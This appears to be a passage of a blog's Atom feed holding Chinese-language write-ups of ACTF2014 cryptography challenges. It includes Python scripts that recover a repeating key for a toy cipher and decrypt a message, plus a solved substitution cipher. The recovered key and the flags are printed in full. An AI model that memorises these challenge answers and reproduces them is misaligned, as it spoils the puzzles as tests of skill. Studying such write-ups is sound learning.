class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">g2 = open(<span class="string">'msg01.enc.ord'</span>, <span class="string">'rb'</span>)</span><br><span class="line"></span><br><span class="line">key = <span class="string">''</span></span><br><span class="line">c = <span class="string">''</span></span><br><span class="line">str = <span class="string">''</span></span><br><span class="line">t = chr(<span class="number">0</span>)</span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">find = <span class="number">0</span></span><br><span class="line">ckey = g2.read(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">realkey=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> p <span class="keyword">in</span> f:</span><br><span class="line">    <span class="keyword">for</span> k1 <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">256</span>):</span><br><span class="line">        k1 = chr(k1)</span><br><span class="line">        find=<span class="number">0</span></span><br><span class="line">        c = chr(( ord(p) + (ord(k1) ^ ord(t)) + i**i ) &amp; <span class="number">0xff</span>)</span><br><span class="line">        <span class="keyword">if</span> c == ckey:</span><br><span class="line">            <span class="keyword">print</span> <span class="string">'get %d is %c'</span> % (i, k1)</span><br><span class="line">            realkey += k1</span><br><span class="line">            find = <span class="number">1</span></span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">if</span> find ==<span class="number">0</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'cant find NO.'</span>, i</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    t = p</span><br><span class="line">    i += <span class="number">1</span></span><br><span class="line">    ckey = g2.read(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> repr(realkey)</span><br><span class="line">g.close()</span><br><span class="line"></span><br><span class="line">运行得到key ![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbEAAADlCAIAAABS2l6zAAAQ+<span class="number">0l</span>EQVR4nO3dPbKjuhqFYcbFgJgGVTe5qRNGQU7cTILEQ3ByZ6Ab8PNJQgJJBnUbvU/tOtWHbWOM7bXF33L1v9V//vvihx9++Cn8p9Iz8c93FAD8ODIRAASZCADi6Zn4Huuqraru9f7bSwLgF5xkYrXaT78sE9+vuqoPMus9dlXbLj/dqN3w8+rW6f3ku3N8Jk7N9nDrTz1+wu8P4HcdZaIefNa/M2bi59X1g/x7i7/Pq9uiSp9+ualpuxeRCJQhdNvZCsHDTHy/<span class="number">6</span>kojeTc028RmcN74aLyo1DxmnIeKn7Fut6xUauor/X+<span class="number">1</span>O5jjxKmp2kp+zsePQ39f2gL451yfiUNjJd6Sc/p0Y2h4tu2sk4SyQvAz1s7RnJ6Jy7/bxpGdHr7ZAnio80yM259oBdz2v3bwDY07II+<span class="number">8</span>x07LwanRd/NNfXWaiUO/DA/rMXDvIoNEoDRXjxPfr7rSxmFGJlrWHAzMxH3qfcZajr109fm28+dV6xvObVW57mI84uENADzOHZnoGyd6tlkDMtEcIXpu4BzQeY47D80Si7V3w1g/hgOgFCnHnY8ycb+r0LU/Uan3q97+x/zNztBbp+Ds+Dac1cG5OMvBFu/jMkgEipRyfqLvpMV1nnJ4uW6a2n3cubK3sL3HnfdnC67xN/XrFH94Ofcnrj/+IDZ3VgIoxs3XsRxsMgPAv+f6TIzYKgaAf8wtmRh+DjYA/FOe3gEBADHIRAAQZCIACDIRAMTTM5FOWQAx7jhnO9IlnbK+C12iM9E4r9x1eTaAJ4u+tu/ggr/ERTjLxKF3dsrqpTX3dMrGlJgBeIboDoiATMzSKaumpm2bLQbv6JQlE4HyJPbiHGTinZ2y2njQanu9o1OWTATKk9gp60xJpe7rlF13HW77DRMyMbZTlkwEyvM7nbLzbY3vY4nMxNhOWTIRKE9KJjoDMWCcmN4pK2S/Ydr+xEVApyyZCJTo8uPOl3fKTo12no3eLxt03Dm5U9Z+KgCKEH1+orUBvMtEdXWnrBr69przEyM6ZbfFIhOBstApCwCCTlkAEHTKAoB4egcEAMQgEwFAkIkAIMhEABBPz8SETllOSwQK9tOdskop/<span class="number">5</span>XO653JRADhfrhTVn3GeslKfybesDwAHuz6/sRcnbKruHFiQKfsnIkvx7ICeLyf7ZSVacGZGNgpO6c01+IARUrslPXuT8zWKSu/Cc7EwE5Z31MAUICrx4nZOmU3EdvOYZ2yZCJQsDsyMU+n7CrpuPNRpyyZCBTshztlF4nn4vg7ZclEoGB3nJ+Yq1NWzsWZf86+eyCwU5ZMBApGpywACDplAUDQKQsA4ukdEAAQg0wEAEEmAoAgEwFAPD0T6U8EECPlnO3tV9dkYmqn7EnX7Hqj6EwEULDoa/vyZ6KnU/bz6jxdswCQKrED4vDavrydsofT0ztlGVcCRUrJxPnfvkzM3Sk7P2jvGScmdsqSiUChUjpljzIxf6fssmPRVQChruiUBVCS6HGiszTMzMS8nbJTf/QdVd93ygIoSUom6mLGidd3yh6NENdbfNspC6Aklx93ztcp6+iX3fu+UxZASRLPT/SOE5XK1Sk7NUahrOdbnr/vlAVQEjplAUDQKQsAgk5ZABBP74AAgBhkIgAIMhEABJkIAOLpmUh/IoAY0edsn1zbl4BOWQD/jOhr+/bXtNydiZ5OWe90AEiW3ovjz8RHdMq+HMsK4PG+<span class="number">6</span>sVxZuLf6JT1jxMTO2W1p8C1OEBJojtlff/+<span class="number">83</span>c6ZY+<span class="number">6</span>ZpW6olOWSgigJInfx3KYiXk7ZQ+nX9ApSyYCJflqf2LkOPH6Ttnz6d93ypKJQEm+Ou7sOhcnW6est2vW8H2nLJkIlCSlU/b4GEuuTlnvdMP3nbJkIlASOmUBQNApCwCCTlkAEE/vgACAGGQiAAgyEQAEmQgA4umZmNCfyAmJQMFSztn+syuG+CoTUztlN0Pfui/sU2QigDjR1/b98XcpJi5Caqfscu8lMT2ZeMPyAHiw3+<span class="number">6</span>UXf73M9ah48TgTlnp7CEggYIkZuLBtnO+TtmpX/IxMBMjOmWl34zLcICipHTKHm07Z+uU1cvBAjMxrlOW6xKBEt3Rn5ijU9Y48LL+<span class="number">1</span>OO+DDGtU5YLE4FCPaJTNmJ/<span class="number">4</span>uKsU7ZqBnYlAiX63U5ZTXwmhnXKDk3F9jNQlh/ulBWx+xMjOmWHho1ooCR0ygKAoFMWAASdsgAgnt4BAQAxyEQAEGQiAAgyEQDE0zMxoT8RQMGiz9m2Llq+IBOTO2Wn3rze2XnxcmomcvgcKNLl1/bFS+<span class="number">6</span>U3brCLmdd1Mc1fkAxojsgDqas88zVKRuSiQmdsmpodgtClSJQiOsz8S90yh74plP2dCKAx4nulD3JxGydssran9jtS7+USuqUdV+QyGWKQBESx4nOlFQqX6esY/r5MZbwTlnGiUCh7sjE7J2yaq4Lcw0VEzpl2Z8IFCzlu0yPMjFfp+zn1Uk4urtmVVKnrOK4M1Cu9O+<span class="number">892</span>SiytYpe941q5I6Ze1l4vxEoCB0ygKAoFMWAASdsgAgnt4BAQAxyEQAEGQiAAgyEQDE0zMxuT9xO5eS4+ZASVLO2fadyJ24CMmdskopNTXrr+rRVQKRmImcRAQU6pc7ZT9j3bbN5LvfFzjVHChVdAdEQCZm6pQdes/Y0LxDWqcsJ1gCZbo+E3N1yk5N29VdTH9iYKds3CIBeJSUTtmj/YnZOmXNDef32LljMaFTNnSRADzQ1ePEbJ2ydmHi1Dj3LSZ0ykYuEoAnuSMT83TKWiEYkonisFOWTATKdflx52ydssa/w757wJztwb5FMhEo1R3nJ2bqlDV/<span class="number">5</span>dsKTuqUJROBUtEpCwCCTlkAEHTKAoB4egcEAMQgEwFAkIkAIMhEABBPz8TkTlkARfrdTllpk60OamUTMtG+NJuTiYCC/HKnrGFqfHVh3y2PfnkigMf74U5Z3dB7sjKhU3aX0VzpB5Tjdztl9clWb5gmoVN2vzyEIlCM6E5ZPRwdmZitU1bjHSSqpE5ZMhEoWPQ4UU9DTyZm6ZTdSKOi+w7RnbJkIlCwlEz0TVQqZ6fs7PPqDr+pKqFTlv2JQMHSjzt7zsXJ1ymr1NkgUSV1ynLcGShY+vmJ+xuv88zWKTs1vq+<span class="number">6l</span>1nHd8pyfiJQMDplAUDQKQsAgk5ZABBP74AAgBhkIgAIMhEABJkIAOLpmUinLIAYQZnoPGfbcx1LvMROWWXWynquZiETAcSIzsTTrrBoiZ2yxpXOvl5FAIiS3hXmz8Q8nbJT07bN1hDmu/A5oVPWWipOsQRKcn69c+w4MVunrD42HHrPhc8JnbJzIK434lIcoChXZ2LOTtnPWEftT0zrlKUpDChJUFdYZCbm6ZQ1vpTqPXYB287hnbL6yHBoyESgGCeZqPt6nHhpp6z1HSy+r2T5vlOWcSJQksuPO2frlJ2a1ty3GHSMRZutd98i+xOBcoUed7ai8PD8xKydsin7E487Zc0lYowIFIVOWQAQdMoCgKBTFgDE0zsgACAGmQgAgkwEAEEmAoB4eibSnwggRkqnrHNKeiamd8quxRDaBS37O0dn4nLgnMv7gBKl92xny8SATlmjQ+xb71dd1XXtbjwD8GzRnbIB48QsnbKfsdav57uwU3ZJQK0Oh0wEihHdn3iaiZk6Za0QDOnFCeyUXZdHlotMBIpxdSbm65Sdmlbr1p766jQToztl1xgnE4FiRHfKBmRink5Zs2e76+orO2XX5Zk3oMlEoBjRnbJfjBMv7ZS15jF27mMs33bKvl+<span class="number">13</span>XgG4MEuPxcnW6esfhPPhrNK6pS1Mno5MEQmAkX45U7ZqT8plFVJnbK7cevQkIlAKeiUBQBBpywACDplAUA8vQMCAGKQiQAgyEQAEGQiAIinZyKdsgBipPcn+s/ZjhR8bd/QW6dna52y+<span class="number">4</span>tblpmTiQAiRGei7993Z+Lati2ZOPRGv+xlnbIAChbdKRuQidd3yi51OEaP7NS0bbPF4IWdstZScYolUJLE/sSDTLy+U3bqHd3aVonshZ2ycyCuN+JSHKAo6Zno3p94eaesPgD8MhOjO2UDFg/As/zrnbLGl/atP/X4ScnEiE5ZfWSofTELgKdL6ZT1bUordXOn7AX7ExfBnbKME4GyXH7c+fJOWY35XX1Bx50TOmXZnwgULLpT1jd4/HNbp6ywvr809vzEwE5Zc4kYIwJFoVMWAASdsgAg6JQFAPH0DggAiEEmAoAgEwFAkIkAIMhEABD/QKcsAPwzbuqUnfqqbetRJthdDicFsFPTttVS6iBXq+gzDKNd6dKeXfJy/XzGWlorpiblcSNNvb5sQ788ejPNy++<span class="number">6</span>IDxS5Ot47fxd74TtKR+<span class="number">8</span>Pex34/zuWtpEXt3xapEXsXK9J833w+l6nhpnVYnvcd3vGX35vb+aFyPT5273ef9l0Z2yB+NHfb5jvVtHQy+dDdq1yj5T03X1epv32AWs8bG25/l5dfMLPDXLO3WsEzMxdj76u//z6tKyONrQWx+<span class="number">5</span>bTlPP/x7+/U5P0TU6xjNM/+pkXfU9nIs3mN38ldn6tf76t0hIX8q9JWwPe7B+yFhPfsf2vGM7OW3Rh77j8n9nzvl/Lz/rOs7ZWdjrbfWKKXM18Z8W2t/iuUFm5pufK13MV8bx+<span class="number">13</span>nWLW+<span class="number">3J</span>771oz6V6f9e9hP8l85P3d7oYY+<span class="number">3e8</span>e3lcbxH9Q6j/TbafgnlfbbzZudfDNv09ds00/<span class="number">2</span>qe8/aR/ry6/rU9hPbB2IaTvoXZf+dDzOsY/bz88/dNXGLI+nugPW4/rJm4rh8H53ow7f9I7N8PvvW8DbusJW+rtm96x3pbM1Ebk/bT7n21LYA+QjRW9a2fO/<span class="number">1</span>XvhX7axIz8XR/omMbwXxttv81ig+HvpW/<span class="number">5934</span>Xv6rvza+<span class="number">2</span>yvfuGZdHsdf7/ljMM9h6JcbmB8ta57ObHUsz268tjHGEdrN9EGB/vdffxP7xkoyfVlRU193/fIPub2e9doyT9sTtDo2zseJ6vx1jH1evvnPN+zd2TovpzxZrZxdGVt2/tflYD0sXHnqzET3et49a+<span class="number">328</span>nfLfO9tmei+gf2MTseJ6pbPnYrZJ/DvS+yUPR0nOjhfm937bNsCMl6V7bXx314lZaLzhZT57G5gz8e3PHJHbYdXMylfJjq6c7fnos3B+PvsnD719TjPdqy78W1kojOLrYdOzETfekh4XkeZuM3c/HyuN5BXZz9mPM1E/<span class="number">3</span>qYOTeK3eNE53pef7uf4rv9Mi7T0ueyTLz0c/cwKZ2yl2Ti8uqevjbbxkjGTNymn28rHWSBZzk9nwF9jOO3+/u8nz7Wfd+<span class="number">0</span>/aA+r65r+m0xvI9bGeO42Ew8ex3jn1fAtrO9f1DP3Pm+vkz07iA7Wg8z59q4OxP7prd3RHi2nb3P7v7P3cNk/C5TeyNoeaXNHcn6e9217eO/vfGr3b7kuEycPwCu37q2nd3LY+<span class="number">0</span>g199q+thQ3370DFq1+Wjr8GD6so/cnL93fLqtwPfY2eNE1/qMfh3jnpd//s6OdTtzZTva2EfWtu7lWfvZD9fDMtG1v+zmTNzOHzCfS/Ixlns+dw8T3SnrnHKeiQf77F3bLNsf/+Utoo8jDrZxBse+avO0CeeGm2tbaZeqnvn4l8d6ytv7UqZ346vXd7qbp31IFjgf1zdd/<span class="number">8</span>xs+<span class="number">4</span>C2hZ+PRejrVi/m7RvzOOx+fUa+jtHP6+hY2e60G31NvvUbmKciVW3b9ObH2zH/o/XgGjk63w/+<span class="number">9</span>Wy/<span class="number">3</span>+a7HLwu27k49mfBcy6Odc6QHCTJ8Ll7Fq5j8TjY8QTguchEm33WK4CSkIkAIMhEABBkIgAIMhEABJkIAIJMBACR0inrm/i3nwsAfItMBACR2CnLdw8AeKT/A6P2yOvdijX6AAAAAElFTkSuQmCC) 因为key是循环取的，所以key=<span class="string">'DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'</span> 之后写一个解密脚本解密msg02.enc即可</span><br><span class="line"></span><br><span class="line">g = open(<span class="string">'msg02.enc'</span>, <span class="string">'rb'</span>).read()</span><br><span class="line">f = open(<span class="string">'msgtest02'</span>, <span class="string">'wb'</span>)</span><br><span class="line">key = <span class="string">'DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'</span></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">t = chr(<span class="number">0</span>)</span><br><span class="line">p = <span class="string">''</span></span><br><span class="line">str = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> g:</span><br><span class="line">    p =chr( (ord(c) - i**i - (ord(key\[i % len(key)\]) ^ ord(t)) ) &amp; <span class="number">0xff</span> )</span><br><span class="line">    t = p</span><br><span class="line">    i += <span class="number">1</span></span><br><span class="line">    str += p</span><br><span class="line">    f.write(p)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> str</span><br><span class="line">f.close()</span><br></pre></td></tr></table></figure><p><img src="data:image/png;base64,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" alt></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;题目 买不到TI4的门票觉得人生好灰暗。。&lt;a href=&quot;http://yfcnblog.sinaapp.com/?attachment_id=76&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ACTF2014crypto200.tar&lt;/a&gt; ———
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="actf" scheme="https://blog.eadom.net/tags/actf/"/>
    
  </entry>
  
  <entry>
    <title>ACTF2014之crypto100古老writerup</title>
    <link href="https://blog.eadom.net/writeups/actf2014-crypto100-writerup/"/>
    <id>https://blog.eadom.net/writeups/actf2014-crypto100-writerup/</id>
    <published>2014-04-07T02:28:47.000Z</published>
    <updated>2025-11-21T12:45:50.754Z</updated>
    
    <content type="html"><![CDATA[<p>ACTF清明放假回家。。所以就不做了，抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va’ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy’n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy? ————割———— 很像单表代换的，参考<a href="http://yfcnblog.sinaapp.com/?p=67" title="辅助处理单表替换密码" target="_blank" rel="noopener">辅助处理单表替换密码</a> yja很明显应该是the，剩下的慢慢试试。 下面的就转出部分没有转全 nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phracw magahine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the neft phracw issue, when the time has come, we’ll decide to compile a new issue from the articles that have been submitted. that’s basically it. and grab you flag here, cryptooosocoolamiright? key在最后一句cryptooosocoolamiright</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;ACTF清明放假回家。。所以就不做了，抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira y
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="actf" scheme="https://blog.eadom.net/tags/actf/"/>
    
  </entry>
  
  <entry>
    <title>辅助处理单表替换密码</title>
    <link href="https://blog.eadom.net/uncategorized/process-monoalphabetic-substitution-cipher/"/>
    <id>https://blog.eadom.net/uncategorized/process-monoalphabetic-substitution-cipher/</id>
    <published>2014-04-06T08:32:39.000Z</published>
    <updated>2025-11-21T12:45:50.786Z</updated>
    
    <content type="html"><![CDATA[<p>整理了一些东西，方便单表密码分析。 分析单表替换密码：<a href="http://www.counton.org/explorer/codebreaking/frequency-analysis.php" target="_blank" rel="noopener">http://www.counton.org/explorer/codebreaking/frequency-analysis.php</a> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABosAAALmCAIAAAAVOzpGAAAgAElEQVR4nOzdTYgl2X0g+rurRS8aLXIljDFCqCkxeJG5KDw8HhaMp+GBegQNzSTSKqHxPNCihYdnzJCajRe9KD+alsEzMHqJ/WDQjGja9ivTCAuUyNjm0TPQlqHnFR4SRrNovKhVLWp33+LmvTc+zldE3Ii4cfP3o2i6MuPG+Z+POBHnXxFxV2sAAAAAYD6ruQMAAAAAgAdNhg4AAAAA5iRDBwAAAABzkqEDAAAAgDnJ0AEAAADAnGToAAAAAGBOMnQAAAAAMCcZOgAAAACYkwwdAAAAAMxJhg4AAAAA5iRDBwAAAABzkqEDAAAAgDmVZOhe/fJnP/j2k189e221Wq1Wq0evf/nJt9//889f9iju79//9c1Ofv39v+/x8Zl3P0kJES8///P3K53w2tnXv/FuqxM+/s7mt6vvfNxp530/BwAAAMBw2QzdFx9fffnRKuTsOx9/0bW4Qye4Xn7+w3f+j2e53b/65c++/9sf9iuwrIRxffGT7/2T14J9sDr7rT/67NVuQxk6AAAAgOXJZOhe/fS7Z+HU0Gq1Wj36zT/6792KO2CC69Uvf/b+b51ls0ovP//R1dce9SqwsISRvfrs/